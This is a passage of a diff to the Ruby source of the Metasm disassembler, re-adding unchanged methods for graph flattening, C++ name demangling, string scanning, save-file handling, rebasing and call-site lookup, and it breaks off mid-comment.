dasm graph - # assume all jump targets have a matching label in @prog_binding - # may add inconditionnal jumps in the listing to preserve the code flow - def flatten_graph(entry, include_subfunc=true) - ret = [] - entry = [entry] if not entry.kind_of? Array - todo = entry.map { |a| normalize(a) } - done = [] - inv_binding = @prog_binding.invert - while addr = todo.pop - next if done.include? addr or not di_at(addr) - done << addr - b = @decoded[addr].block - - ret << Label.new(inv_binding[addr]) if inv_binding[addr] - ret.concat b.list.map { |di| di.instruction } - - b.each_to_otherfunc(self) { |to| - to = normalize to - todo.unshift to if include_subfunc - } - b.each_to_samefunc(self) { |to| - to = normalize to - todo << to - } - - if not di = b.list[-1-@cpu.delay_slot] or not di.opcode.props[:stopexec] or di.opcode.props[:saveip] - to = b.list.last.next_addr - if todo.include? to - if done.include? to or not di_at(to) - if not to_l = inv_binding[to] - to_l = auto_label_at(to, 'loc') - if done.include? to and idx = ret.index(@decoded[to].block.list.first.instruction) - ret.insert(idx, Label.new(to_l)) - end - end - ret << @cpu.instr_uncond_jump_to(to_l) - else - todo << to # ensure it's next in the listing - end - end - end - end - - ret - end - - # returns a demangled C++ name - # from wgcc-2.2.2/undecorate.cpp - # TODO - def demangle_cppname(name) - ret = name - if name[0] == ?? - name = name[1..-1] - if name[0] == ?? - name = name[1..-1] - op = name[0, 1] - op = name[0, 2] if op == '_' - if op = { - '2' => "new", '3' => "delete", '4' => "=", '5' => ">>", '6' => "<<", '7' => "!", '8' => "==", '9' => "!=", - 'A' => "[]", 'C' => "->", 'D' => "*", 'E' => "++", 'F' => "--", 'G' => "-", 'H' => "+", 'I' => "&", - 'J' => "->*", 'K' => "/", 'L' => "%", 'M' => "<", 'N' => "<=", 'O' => ">", 'P' => ">=", 'Q' => ",", - 'R' => "()", 'S' => "~", 'T' => "^", 'U' => "|", 'V' => "&&", 'W' => "||", 'X' => "*=", 'Y' => "+=", - 'Z' => "-=", '_0' => "/=", '_1' => "%=", '_2' => ">>=", '_3' => "<<=", '_4' => "&=", '_5' => "|=", '_6' => "^=", - '_7' => "`vftable'", '_8' => "`vbtable'", '_9' => "`vcall'", '_A' => "`typeof'", '_B' => "`local static guard'", - '_C' => "`string'", '_D' => "`vbase destructor'", '_E' => "`vector deleting destructor'", '_F' => "`default constructor closure'", - '_G' => "`scalar deleting destructor'", '_H' => "`vector constructor iterator'", '_I' => "`vector destructor iterator'", - '_J' => "`vector vbase constructor iterator'", '_K' => "`virtual displacement map'", '_L' => "`eh vector constructor iterator'", - '_M' => "`eh vector destructor iterator'", '_N' => "`eh vector vbase constructor iterator'", '_O' => "`copy constructor closure'", - '_S' => "`local vftable'", '_T' => "`local vftable constructor closure'", '_U' => "new[]", '_V' => "delete[]", - '_X' => "`placement delete closure'", '_Y' => "`placement delete[] closure'"}[op] - ret = op[0] == ?` ? op[1..-2] : "op_#{op}" - end - end - end - # TODO - ret - end - - # scans all the sections raw for a given regexp - # return/yields all the addresses matching - # if yield returns nil/false, do not include the addr in the final result - # sections are scanned MB by MB, so this should work (slowly) on 4GB sections (eg debugger VM) - def pattern_scan(pat, chunksz=nil, margin=nil) - chunksz ||= 4*1024*1024 # scan 4MB at a time - margin ||= 65536 # add this much bytes at each chunk to find /pat/ over chunk boundaries - - pat = Regexp.new(Regexp.escape(pat)) if pat.kind_of? ::String - - found = [] - @sections.each { |sec_addr, e| - e.pattern_scan(pat, chunksz, margin) { |eo| - match_addr = sec_addr + eo - found << match_addr if not block_given? or yield(match_addr) - false - } - } - found - end - - # returns/yields [addr, string] found using pattern_scan /[\x20-\x7e]/ - def strings_scan(minlen=6) - ret = [] - nexto = 0 - pattern_scan(/[\x20-\x7e]{#{minlen},}/m, nil, 1024) { |o| - if o - nexto > 0 - next unless e = get_edata_at(o) - str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/m] - ret << [o, str] if not block_given? or yield(o, str) - nexto = o + str.length - end - } - ret - end - - # exports the addr => symbol map (see load_map) - def save_map - @prog_binding.map { |l, o| - type = di_at(o) ? 'c' : 'd' # XXX - o = o.to_s(16).rjust(8, '0') if o.kind_of? ::Integer - "#{o} #{type} #{l}" - } - end - - # loads a map file (addr => symbol) - # off is an optionnal offset to add to every address found (for eg rebased binaries) - # understands: - # standard map files (eg linux-kernel.map: , e.g. 'c01001ba t setup_idt') - # ida map files (: ) - # arg is either the map itself or the filename of the map (if it contains no newline) - def load_map(str, off=0) - str = File.read(str) rescue nil if not str.index("\n") - sks = @sections.keys.sort - str.each_line { |l| - case l.strip - when /^([0-9A-F]+)\s+(\w+)\s+(\w+)/i # kernel.map style - set_label_at($1.to_i(16)+off, $3) - when /^([0-9A-F]+):([0-9A-F]+)\s+([a-z_]\w+)/i # IDA style - # we do not have section load order, let's just hope that the addresses are sorted (and sortable..) - # could check the 1st part of the file, with section sizes, but it is not very convenient - # the regexp is so that we skip the 1st part with section descriptions - # in the file, section 1 is the 1st section ; we have an additionnal section (exe header) which fixes the 0-index - set_label_at(sks[$1.to_i(16)] + $2.to_i(16) + off, $3) - end + end + if b1 and b2 and (allow_nonadjacent or b1.list.last.next_addr == b2.address) and + b1.to_normal.to_a == [b2.address] and b2.from_normal.to_a.length == 1 and # that handles delay_slot + b1.to_subfuncret.to_a == [] and b2.from_subfuncret.to_a == [] and + b1.to_indirect.to_a == [] and b2.from_indirect.to_a == [] + b2.list.each { |di| b1.add_di di } + b1.to_normal = b2.to_normal + b2.list.clear + @addrs_done.delete_if { |ad| normalize(ad[0]) == b2.address } + true + end + end + + # computes the binding of a code sequence + # just a forwarder to CPU#code_binding + def code_binding(*a) + @cpu.code_binding(self, *a) + end + + # returns an array of instructions/label that, once parsed and assembled, should + # give something equivalent to the code accessible from the (list of) entrypoints given + # from the @decoded dasm graph + # assume all jump targets have a matching label in @prog_binding + # may add inconditionnal jumps in the listing to preserve the code flow + def flatten_graph(entry, include_subfunc=true) + ret = [] + entry = [entry] if not entry.kind_of? Array + todo = entry.map { |a| normalize(a) } + done = [] + inv_binding = @prog_binding.invert + while addr = todo.pop + next if done.include? addr or not di_at(addr) + done << addr + b = @decoded[addr].block + + ret << Label.new(inv_binding[addr]) if inv_binding[addr] + ret.concat b.list.map { |di| di.instruction } + + b.each_to_otherfunc(self) { |to| + to = normalize to + todo.unshift to if include_subfunc + } + b.each_to_samefunc(self) { |to| + to = normalize to + todo << to + } + + if not di = b.list[-1-@cpu.delay_slot] or not di.opcode.props[:stopexec] or di.opcode.props[:saveip] + to = b.list.last.next_addr + if todo.include? to + if done.include? to or not di_at(to) + if not to_l = inv_binding[to] + to_l = auto_label_at(to, 'loc') + if done.include? to and idx = ret.index(@decoded[to].block.list.first.instruction) + ret.insert(idx, Label.new(to_l)) + end + end + ret << @cpu.instr_uncond_jump_to(to_l) + else + todo << to # ensure it's next in the listing + end + end + end + end + + ret + end + + # returns a demangled C++ name + # from wgcc-2.2.2/undecorate.cpp + # TODO + def demangle_cppname(name) + ret = name + if name[0] == ?? + name = name[1..-1] + if name[0] == ?? + name = name[1..-1] + op = name[0, 1] + op = name[0, 2] if op == '_' + if op = { + '2' => "new", '3' => "delete", '4' => "=", '5' => ">>", '6' => "<<", '7' => "!", '8' => "==", '9' => "!=", + 'A' => "[]", 'C' => "->", 'D' => "*", 'E' => "++", 'F' => "--", 'G' => "-", 'H' => "+", 'I' => "&", + 'J' => "->*", 'K' => "/", 'L' => "%", 'M' => "<", 'N' => "<=", 'O' => ">", 'P' => ">=", 'Q' => ",", + 'R' => "()", 'S' => "~", 'T' => "^", 'U' => "|", 'V' => "&&", 'W' => "||", 'X' => "*=", 'Y' => "+=", + 'Z' => "-=", '_0' => "/=", '_1' => "%=", '_2' => ">>=", '_3' => "<<=", '_4' => "&=", '_5' => "|=", '_6' => "^=", + '_7' => "`vftable'", '_8' => "`vbtable'", '_9' => "`vcall'", '_A' => "`typeof'", '_B' => "`local static guard'", + '_C' => "`string'", '_D' => "`vbase destructor'", '_E' => "`vector deleting destructor'", '_F' => "`default constructor closure'", + '_G' => "`scalar deleting destructor'", '_H' => "`vector constructor iterator'", '_I' => "`vector destructor iterator'", + '_J' => "`vector vbase constructor iterator'", '_K' => "`virtual displacement map'", '_L' => "`eh vector constructor iterator'", + '_M' => "`eh vector destructor iterator'", '_N' => "`eh vector vbase constructor iterator'", '_O' => "`copy constructor closure'", + '_S' => "`local vftable'", '_T' => "`local vftable constructor closure'", '_U' => "new[]", '_V' => "delete[]", + '_X' => "`placement delete closure'", '_Y' => "`placement delete[] closure'"}[op] + ret = op[0] == ?` ? op[1..-2] : "op_#{op}" + end + end + end + # TODO + ret + end + + # scans all the sections raw for a given regexp + # return/yields all the addresses matching + # if yield returns nil/false, do not include the addr in the final result + # sections are scanned MB by MB, so this should work (slowly) on 4GB sections (eg debugger VM) + def pattern_scan(pat, chunksz=nil, margin=nil) + chunksz ||= 4*1024*1024 # scan 4MB at a time + margin ||= 65536 # add this much bytes at each chunk to find /pat/ over chunk boundaries + + pat = Regexp.new(Regexp.escape(pat)) if pat.kind_of? ::String + + found = [] + @sections.each { |sec_addr, e| + e.pattern_scan(pat, chunksz, margin) { |eo| + match_addr = sec_addr + eo + found << match_addr if not block_given? or yield(match_addr) + false + } + } + found + end + + # returns/yields [addr, string] found using pattern_scan /[\x20-\x7e]/ + def strings_scan(minlen=6) + ret = [] + nexto = 0 + pattern_scan(/[\x20-\x7e]{#{minlen},}/m, nil, 1024) { |o| + if o - nexto > 0 + next unless e = get_edata_at(o) + str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/m] + ret << [o, str] if not block_given? or yield(o, str) + nexto = o + str.length + end + } + ret + end + + # exports the addr => symbol map (see load_map) + def save_map + @prog_binding.map { |l, o| + type = di_at(o) ? 'c' : 'd' # XXX + o = o.to_s(16).rjust(8, '0') if o.kind_of? ::Integer + "#{o} #{type} #{l}" + } + end + + # loads a map file (addr => symbol) + # off is an optionnal offset to add to every address found (for eg rebased binaries) + # understands: + # standard map files (eg linux-kernel.map: , e.g. 'c01001ba t setup_idt') + # ida map files (: ) + # arg is either the map itself or the filename of the map (if it contains no newline) + def load_map(str, off=0) + str = File.read(str) rescue nil if not str.index("\n") + sks = @sections.keys.sort + str.each_line { |l| + case l.strip + when /^([0-9A-F]+)\s+(\w+)\s+(\w+)/i # kernel.map style + set_label_at($1.to_i(16)+off, $3) + when /^([0-9A-F]+):([0-9A-F]+)\s+([a-z_]\w+)/i # IDA style + # we do not have section load order, let's just hope that the addresses are sorted (and sortable..) + # could check the 1st part of the file, with section sizes, but it is not very convenient + # the regexp is so that we skip the 1st part with section descriptions + # in the file, section 1 is the 1st section ; we have an additionnal section (exe header) which fixes the 0-index + set_label_at(sks[$1.to_i(16)] + $2.to_i(16) + off, $3) + end } - end - - # saves the dasm state in a file - def save_file(file) - tmpfile = file + '.tmp' - File.open(tmpfile, 'wb') { |fd| save_io(fd) } - File.rename tmpfile, file - end - - # saves the dasm state to an IO - def save_io(fd) - fd.puts 'Metasm.dasm' - - if @program.filename - t = @program.filename.to_s - fd.puts "binarypath #{t.length}", t - else - t = "#{@cpu.class.name.sub(/.*::/, '')} #{@cpu.size} #{@cpu.endianness}" - fd.puts "cpu #{t.length}", t - # XXX will be reloaded as a Shellcode with this CPU, but it may be a custom EXE - end - - @sections.each { |a, e| - # forget edata exports/relocs - # dump at most 16Mo per section - t = "#{Expression[a]} #{e.length}\n" + - [e.data[0, 2**24].to_str].pack('m*') - fd.puts "section #{t.length}", t - } - - t = save_map.join("\n") - fd.puts "map #{t.length}", t - - t = @decoded.map { |a, d| - next if not d.kind_of? DecodedInstruction - "#{Expression[a]},#{d.bin_length} #{d.instruction}#{" ; #{d.comment.join(' ')}" if d.comment}" - }.compact.sort.join("\n") - fd.puts "decoded #{t.length}", t - - t = @comment.map { |a, c| - c.map { |l| l.chomp }.join("\n").split("\n").map { |lc| "#{Expression[a]} #{lc.chomp}" } - }.join("\n") - fd.puts "comment #{t.length}", t - - bl = @decoded.values.map { |d| - d.block if d.kind_of? DecodedInstruction and d.block_head? - }.compact - t = bl.map { |b| - [Expression[b.address], - b.list.map { |d| Expression[d.address] }.join(','), - b.to_normal.to_a.map { |t_| Expression[t_] }.join(','), - b.to_subfuncret.to_a.map { |t_| Expression[t_] }.join(','), - b.to_indirect.to_a.map { |t_| Expression[t_] }.join(','), - b.from_normal.to_a.map { |t_| Expression[t_] }.join(','), - b.from_subfuncret.to_a.map { |t_| Expression[t_] }.join(','), - b.from_indirect.to_a.map { |t_| Expression[t_] }.join(','), - ].join(';') - }.sort.join("\n") - fd.puts "blocks #{t.length}", t - - t = @function.map { |a, f| - next if not @decoded[a] - [a, *f.return_address.to_a].map { |e| Expression[e] }.join(',') - }.compact.sort.join("\n") - # TODO binding ? - fd.puts "funcs #{t.length}", t - - t = @xrefs.map { |a, x| - a = ':default' if a == :default - a = ':unknown' if a == Expression::Unknown - # XXX origin - case x - when nil - when Xref - [Expression[a], x.type, x.len, (Expression[x.origin] if x.origin)].join(',') - when Array - x.map { |x_| [Expression[a], x_.type, x_.len, (Expression[x_.origin] if x_.origin)].join(',') } - end - }.compact.join("\n") - fd.puts "xrefs #{t.length}", t - - t = @c_parser.to_s - fd.puts "c #{t.length}", t - - #t = bl.map { |b| b.backtracked_for } - #fd.puts "trace #{t.length}" , t - end - - # loads a disassembler from a saved file - def self.load(str, &b) - d = new(nil, nil) - d.load(str, &b) - d - end - - # loads the dasm state from a savefile content - # will yield unknown segments / binarypath notfound - def load(str) - raise 'Not a metasm save file' if str[0, 12].chomp != 'Metasm.dasm' - off = 12 - pp = Preprocessor.new - app = AsmPreprocessor.new - while off < str.length - i = str.index("\n", off) || str.length - type, len = str[off..i].chomp.split - off = i+1 - data = str[off, len.to_i] - off += len.to_i - case type - when nil, '' - when 'binarypath' - data = yield(type, data) if not File.exist? data and block_given? - reinitialize AutoExe.decode_file(data) - @program.disassembler = self - @program.init_disassembler - when 'cpu' - cpuname, size, endianness = data.split - cpu = Metasm.const_get(cpuname) - raise 'invalid cpu' if not cpu < CPU - cpu = cpu.new - cpu.size = size.to_i - cpu.endianness = endianness.to_sym - reinitialize Shellcode.new(cpu) - @program.disassembler = self - @program.init_disassembler - when 'section' - info = data[0, data.index("\n") || data.length] - data = data[info.length, data.length] - pp.feed!(info) - addr = Expression.parse(pp).reduce - len = Expression.parse(pp).reduce - edata = EncodedData.new(data.unpack('m*').first, :virtsize => len) - add_section(addr, edata) - when 'map' - load_map data - when 'decoded' - data.each_line { |l| - begin - next if l !~ /^([^,]*),(\d*) ([^;]*)(?:; (.*))?/ - a, len, instr, cmt = $1, $2, $3, $4 - a = Expression.parse(pp.feed!(a)).reduce - instr = @cpu.parse_instruction(app.feed!(instr)) - di = DecodedInstruction.new(instr, a) - di.bin_length = len.to_i - di.add_comment cmt if cmt - @decoded[a] = di - rescue - puts "load: bad di #{l.inspect}" if $VERBOSE - end - } - when 'blocks' - data.each_line { |l| - bla = l.chomp.split(';').map { |sl| sl.split(',') } - begin - a = Expression.parse(pp.feed!(bla.shift[0])).reduce - b = InstructionBlock.new(a, get_section_at(a).to_a[0]) - bla.shift.each { |e| - a = Expression.parse(pp.feed!(e)).reduce - b.add_di(@decoded[a]) - } - bla.zip([:to_normal, :to_subfuncret, :to_indirect, :from_normal, :from_subfuncret, :from_indirect]).each { |l_, s| - b.send("#{s}=", l_.map { |e| Expression.parse(pp.feed!(e)).reduce }) if not l_.empty? - } - rescue - puts "load: bad block #{l.inspect}" if $VERBOSE - end - } - when 'funcs' - data.each_line { |l| - begin - a, *r = l.split(',').map { |e| Expression.parse(pp.feed!(e)).reduce } - @function[a] = DecodedFunction.new - @function[a].return_address = r if not r.empty? - @function[a].finalized = true - # TODO - rescue - puts "load: bad function #{l.inspect} #$!" if $VERBOSE - end - } - when 'comment' - data.each_line { |l| - begin - a, c = l.split(' ', 2) - a = Expression.parse(pp.feed!(a)).reduce - @comment[a] ||= [] - @comment[a] |= [c] - rescue - puts "load: bad comment #{l.inspect} #$!" if $VERBOSE - end - } - when 'c' - begin - # TODO parse_invalid_c, split per function, whatever - parse_c('') - @c_parser.allow_bad_c = true - parse_c(data, 'savefile#c') - rescue - puts "load: bad C: #$!", $!.backtrace if $VERBOSE - end - @c_parser.readtok until @c_parser.eos? if @c_parser - when 'xrefs' - data.each_line { |l| - begin - a, t, len, o = l.chomp.split(',') - case a - when ':default'; a = :default - when ':unknown'; a = Expression::Unknown - else a = Expression.parse(pp.feed!(a)).reduce - end - t = (t.empty? ? nil : t.to_sym) - len = (len != '' ? len.to_i : nil) - o = (o.to_s != '' ? Expression.parse(pp.feed!(o)).reduce : nil) # :default/:unknown ? - add_xref(a, Xref.new(t, o, len)) - rescue - puts "load: bad xref #{l.inspect} #$!" if $VERBOSE - end - } - #when 'trace' - else - if block_given? - yield(type, data) - else - puts "load: unsupported section #{type.inspect}" if $VERBOSE - end - end - end - end - - # change the base address of the loaded binary - # better done early (before disassembling anything) - # returns the delta - def rebase(newaddr) - rebase_delta(newaddr - @sections.keys.min) - end - - def rebase_delta(delta) - fix = lambda { |a| - case a - when Array - a.map! { |e| fix[e] } - when Hash - tmp = {} - a.each { |k, v| tmp[fix[k]] = v } - a.replace tmp - when Integer - a += delta - when BacktraceTrace - a.origin = fix[a.origin] - a.address = fix[a.address] - end - a - } - - fix[@sections] - fix[@decoded] - fix[@xrefs] - fix[@function] - fix[@addrs_todo] - fix[@addrs_done] - fix[@comment] - @prog_binding.each_key { |k| @prog_binding[k] = fix[@prog_binding[k]] } - @old_prog_binding.each_key { |k| @old_prog_binding[k] = fix[@old_prog_binding[k]] } - @label_alias_cache = nil - - @decoded.values.grep(DecodedInstruction).each { |di| - if di.block_head? - b = di.block - b.address += delta - fix[b.to_normal] - fix[b.to_subfuncret] - fix[b.to_indirect] - fix[b.from_normal] - fix[b.from_subfuncret] - fix[b.from_indirect] - fix[b.backtracked_for] - end - di.address = fix[di.address] - di.next_addr = fix[di.next_addr] - } - @function.each_value { |f| - f.return_address = fix[f.return_address] - fix[f.backtracked_for] - } - @xrefs.values.flatten.compact.each { |x| x.origin = fix[x.origin] } - delta - end - - # change Expression display mode for current object o to display integers as char constants - def toggle_expr_char(o) - return if not o.kind_of? Renderable - o.each_expr { |e| - e.render_info ||= {} - e.render_info[:char] = e.render_info[:char] ? nil : @cpu.endianness - } - end - - # patch Expressions in current object to include label names when available - # XXX should we also create labels ? - def toggle_expr_offset(o) - return if not o.kind_of? Renderable - o.each_expr { |e| - if n = @prog_binding[e.lexpr] - e.lexpr = n - elsif e.lexpr.kind_of? ::Integer and n = get_label_at(e.lexpr) - add_xref(normalize(e.lexpr), Xref.new(:addr, o.address)) if o.respond_to? :address - e.lexpr = n - end - if n = @prog_binding[e.rexpr] - e.rexpr = n - elsif e.rexpr.kind_of? ::Integer and n = get_label_at(e.rexpr) - add_xref(normalize(e.rexpr), Xref.new(:addr, o.address)) if o.respond_to? :address - e.rexpr = n - end - } - end - - # call this function on a function entrypoint if the function is in fact a __noreturn - # will cut the to_subfuncret of callers - def fix_noreturn(o) - each_xref(o, :x) { |a| - a = normalize(a.origin) - next if not di = di_at(a) or not di.opcode.props[:saveip] - # XXX should check if caller also becomes __noreturn - di.block.each_to_subfuncret { |to| - next if not tdi = di_at(to) or not tdi.block.from_subfuncret - tdi.block.from_subfuncret.delete_if { |aa| normalize(aa) == di.address } - tdi.block.from_subfuncret = nil if tdi.block.from_subfuncret.empty? - } - di.block.to_subfuncret = nil - } - end - - # find the addresses of calls calling the address, handles thunks - def call_sites(funcaddr) - find_call_site = proc { |a| - until not di = di_at(a) - if di.opcode.props[:saveip] - cs = di.address - break - end - if di.block.from_subfuncret.to_a.first - while di.block.from_subfuncret.to_a.length == 1 - a = di.block.from_subfuncret[0] - break if not di_at(a) - a = @decoded[a].block.list.first.address - di = @decoded[a] - end - end - break if di.block.from_subfuncret.to_a.first - break if di.block.from_normal.to_a.length != 1 - a = di.block.from_normal.first - end - cs - } - ret = [] - each_xref(normalize(funcaddr), :x) { |a| - ret << find_call_site[a.origin] - } - ret.compact.uniq - end - - # loads a disassembler plugin script - # this is simply a ruby script instance_eval() in the disassembler - # the filename argument is autocompleted with '.rb' suffix, and also - # searched for in the Metasmdir/samples/dasm-plugins subdirectory if not found in cwd - def load_plugin(plugin_filename) - if not File.exist?(plugin_filename) + end + + # saves the dasm state in a file + def save_file(file) + tmpfile = file + '.tmp' + File.open(tmpfile, 'wb') { |fd| save_io(fd) } + File.rename tmpfile, file + end + + # saves the dasm state to an IO + def save_io(fd) + fd.puts 'Metasm.dasm' + + if @program.filename + t = @program.filename.to_s + fd.puts "binarypath #{t.length}", t + else + t = "#{@cpu.class.name.sub(/.*::/, '')} #{@cpu.size} #{@cpu.endianness}" + fd.puts "cpu #{t.length}", t + # XXX will be reloaded as a Shellcode with this CPU, but it may be a custom EXE + end + + @sections.each { |a, e| + # forget edata exports/relocs + # dump at most 16Mo per section + t = "#{Expression[a]} #{e.length}\n" + + [e.data[0, 2**24].to_str].pack('m*') + fd.puts "section #{t.length}", t + } + + t = save_map.join("\n") + fd.puts "map #{t.length}", t + + t = @decoded.map { |a, d| + next if not d.kind_of? DecodedInstruction + "#{Expression[a]},#{d.bin_length} #{d.instruction}#{" ; #{d.comment.join(' ')}" if d.comment}" + }.compact.sort.join("\n") + fd.puts "decoded #{t.length}", t + + t = @comment.map { |a, c| + c.map { |l| l.chomp }.join("\n").split("\n").map { |lc| "#{Expression[a]} #{lc.chomp}" } + }.join("\n") + fd.puts "comment #{t.length}", t + + bl = @decoded.values.map { |d| + d.block if d.kind_of? DecodedInstruction and d.block_head? + }.compact + t = bl.map { |b| + [Expression[b.address], + b.list.map { |d| Expression[d.address] }.join(','), + b.to_normal.to_a.map { |t_| Expression[t_] }.join(','), + b.to_subfuncret.to_a.map { |t_| Expression[t_] }.join(','), + b.to_indirect.to_a.map { |t_| Expression[t_] }.join(','), + b.from_normal.to_a.map { |t_| Expression[t_] }.join(','), + b.from_subfuncret.to_a.map { |t_| Expression[t_] }.join(','), + b.from_indirect.to_a.map { |t_| Expression[t_] }.join(','), + ].join(';') + }.sort.join("\n") + fd.puts "blocks #{t.length}", t + + t = @function.map { |a, f| + next if not @decoded[a] + [a, *f.return_address.to_a].map { |e| Expression[e] }.join(',') + }.compact.sort.join("\n") + # TODO binding ? + fd.puts "funcs #{t.length}", t + + t = @xrefs.map { |a, x| + a = ':default' if a == :default + a = ':unknown' if a == Expression::Unknown + # XXX origin + case x + when nil + when Xref + [Expression[a], x.type, x.len, (Expression[x.origin] if x.origin)].join(',') + when Array + x.map { |x_| [Expression[a], x_.type, x_.len, (Expression[x_.origin] if x_.origin)].join(',') } + end + }.compact.join("\n") + fd.puts "xrefs #{t.length}", t + + t = @c_parser.to_s + fd.puts "c #{t.length}", t + + #t = bl.map { |b| b.backtracked_for } + #fd.puts "trace #{t.length}" , t + end + + # loads a disassembler from a saved file + def self.load(str, &b) + d = new(nil, nil) + d.load(str, &b) + d + end + + # loads the dasm state from a savefile content + # will yield unknown segments / binarypath notfound + def load(str) + raise 'Not a metasm save file' if str[0, 12].chomp != 'Metasm.dasm' + off = 12 + pp = Preprocessor.new + app = AsmPreprocessor.new + while off < str.length + i = str.index("\n", off) || str.length + type, len = str[off..i].chomp.split + off = i+1 + data = str[off, len.to_i] + off += len.to_i + case type + when nil, '' + when 'binarypath' + data = yield(type, data) if not File.exist? data and block_given? + reinitialize AutoExe.decode_file(data) + @program.disassembler = self + @program.init_disassembler + when 'cpu' + cpuname, size, endianness = data.split + cpu = Metasm.const_get(cpuname) + raise 'invalid cpu' if not cpu < CPU + cpu = cpu.new + cpu.size = size.to_i + cpu.endianness = endianness.to_sym + reinitialize Shellcode.new(cpu) + @program.disassembler = self + @program.init_disassembler + when 'section' + info = data[0, data.index("\n") || data.length] + data = data[info.length, data.length] + pp.feed!(info) + addr = Expression.parse(pp).reduce + len = Expression.parse(pp).reduce + edata = EncodedData.new(data.unpack('m*').first, :virtsize => len) + add_section(addr, edata) + when 'map' + load_map data + when 'decoded' + data.each_line { |l| + begin + next if l !~ /^([^,]*),(\d*) ([^;]*)(?:; (.*))?/ + a, len, instr, cmt = $1, $2, $3, $4 + a = Expression.parse(pp.feed!(a)).reduce + instr = @cpu.parse_instruction(app.feed!(instr)) + di = DecodedInstruction.new(instr, a) + di.bin_length = len.to_i + di.add_comment cmt if cmt + @decoded[a] = di + rescue + puts "load: bad di #{l.inspect}" if $VERBOSE + end + } + when 'blocks' + data.each_line { |l| + bla = l.chomp.split(';').map { |sl| sl.split(',') } + begin + a = Expression.parse(pp.feed!(bla.shift[0])).reduce + b = InstructionBlock.new(a, get_section_at(a).to_a[0]) + bla.shift.each { |e| + a = Expression.parse(pp.feed!(e)).reduce + b.add_di(@decoded[a]) + } + bla.zip([:to_normal, :to_subfuncret, :to_indirect, :from_normal, :from_subfuncret, :from_indirect]).each { |l_, s| + b.send("#{s}=", l_.map { |e| Expression.parse(pp.feed!(e)).reduce }) if not l_.empty? + } + rescue + puts "load: bad block #{l.inspect}" if $VERBOSE + end + } + when 'funcs' + data.each_line { |l| + begin + a, *r = l.split(',').map { |e| Expression.parse(pp.feed!(e)).reduce } + @function[a] = DecodedFunction.new + @function[a].return_address = r if not r.empty? + @function[a].finalized = true + # TODO + rescue + puts "load: bad function #{l.inspect} #$!" if $VERBOSE + end + } + when 'comment' + data.each_line { |l| + begin + a, c = l.split(' ', 2) + a = Expression.parse(pp.feed!(a)).reduce + @comment[a] ||= [] + @comment[a] |= [c] + rescue + puts "load: bad comment #{l.inspect} #$!" if $VERBOSE + end + } + when 'c' + begin + # TODO parse_invalid_c, split per function, whatever + parse_c('') + @c_parser.allow_bad_c = true + parse_c(data, 'savefile#c') + rescue + puts "load: bad C: #$!", $!.backtrace if $VERBOSE + end + @c_parser.readtok until @c_parser.eos? if @c_parser + when 'xrefs' + data.each_line { |l| + begin + a, t, len, o = l.chomp.split(',') + case a + when ':default'; a = :default + when ':unknown'; a = Expression::Unknown + else a = Expression.parse(pp.feed!(a)).reduce + end + t = (t.empty? ? nil : t.to_sym) + len = (len != '' ? len.to_i : nil) + o = (o.to_s != '' ? Expression.parse(pp.feed!(o)).reduce : nil) # :default/:unknown ? + add_xref(a, Xref.new(t, o, len)) + rescue + puts "load: bad xref #{l.inspect} #$!" if $VERBOSE + end + } + #when 'trace' + else + if block_given? + yield(type, data) + else + puts "load: unsupported section #{type.inspect}" if $VERBOSE + end + end + end + end + + # change the base address of the loaded binary + # better done early (before disassembling anything) + # returns the delta + def rebase(newaddr) + rebase_delta(newaddr - @sections.keys.min) + end + + def rebase_delta(delta) + fix = lambda { |a| + case a + when Array + a.map! { |e| fix[e] } + when Hash + tmp = {} + a.each { |k, v| tmp[fix[k]] = v } + a.replace tmp + when Integer + a += delta + when BacktraceTrace + a.origin = fix[a.origin] + a.address = fix[a.address] + end + a + } + + fix[@sections] + fix[@decoded] + fix[@xrefs] + fix[@function] + fix[@addrs_todo] + fix[@addrs_done] + fix[@comment] + @prog_binding.each_key { |k| @prog_binding[k] = fix[@prog_binding[k]] } + @old_prog_binding.each_key { |k| @old_prog_binding[k] = fix[@old_prog_binding[k]] } + @label_alias_cache = nil + + @decoded.values.grep(DecodedInstruction).each { |di| + if di.block_head? + b = di.block + b.address += delta + fix[b.to_normal] + fix[b.to_subfuncret] + fix[b.to_indirect] + fix[b.from_normal] + fix[b.from_subfuncret] + fix[b.from_indirect] + fix[b.backtracked_for] + end + di.address = fix[di.address] + di.next_addr = fix[di.next_addr] + } + @function.each_value { |f| + f.return_address = fix[f.return_address] + fix[f.backtracked_for] + } + @xrefs.values.flatten.compact.each { |x| x.origin = fix[x.origin] } + delta + end + + # change Expression display mode for current object o to display integers as char constants + def toggle_expr_char(o) + return if not o.kind_of? Renderable + o.each_expr { |e| + e.render_info ||= {} + e.render_info[:char] = e.render_info[:char] ? nil : @cpu.endianness + } + end + + # patch Expressions in current object to include label names when available + # XXX should we also create labels ? + def toggle_expr_offset(o) + return if not o.kind_of? Renderable + o.each_expr { |e| + if n = @prog_binding[e.lexpr] + e.lexpr = n + elsif e.lexpr.kind_of? ::Integer and n = get_label_at(e.lexpr) + add_xref(normalize(e.lexpr), Xref.new(:addr, o.address)) if o.respond_to? :address + e.lexpr = n + end + if n = @prog_binding[e.rexpr] + e.rexpr = n + elsif e.rexpr.kind_of? ::Integer and n = get_label_at(e.rexpr) + add_xref(normalize(e.rexpr), Xref.new(:addr, o.address)) if o.respond_to? :address + e.rexpr = n + end + } + end + + # call this function on a function entrypoint if the function is in fact a __noreturn + # will cut the to_subfuncret of callers + def fix_noreturn(o) + each_xref(o, :x) { |a| + a = normalize(a.origin) + next if not di = di_at(a) or not di.opcode.props[:saveip] + # XXX should check if caller also becomes __noreturn + di.block.each_to_subfuncret { |to| + next if not tdi = di_at(to) or not tdi.block.from_subfuncret + tdi.block.from_subfuncret.delete_if { |aa| normalize(aa) == di.address } + tdi.block.from_subfuncret = nil if tdi.block.from_subfuncret.empty? + } + di.block.to_subfuncret = nil + } + end + + # find the addresses of calls calling the address, handles thunks + def call_sites(funcaddr) + find_call_site = proc { |a| + until not di = di_at(a) + if di.opcode.props[:saveip] + cs = di.address + break + end + if di.block.from_subfuncret.to_a.first + while di.block.from_subfuncret.to_a.length == 1 + a = di.block.from_subfuncret[0] + break if not di_at(a) + a = @decoded[a].block.list.first.address + di = @decoded[a] + end + end + break if di.block.from_subfuncret.to_a.first + break if di.block.from_normal.to_a.length != 1 + a = di.block.from_normal.first + end + cs + } + ret = [] + each_xref(normalize(funcaddr), :x) { |a| + ret << find_call_site[a.origin] + } + ret.compact.uniq + end + + # loads a disassembler plugin script + # this is simply 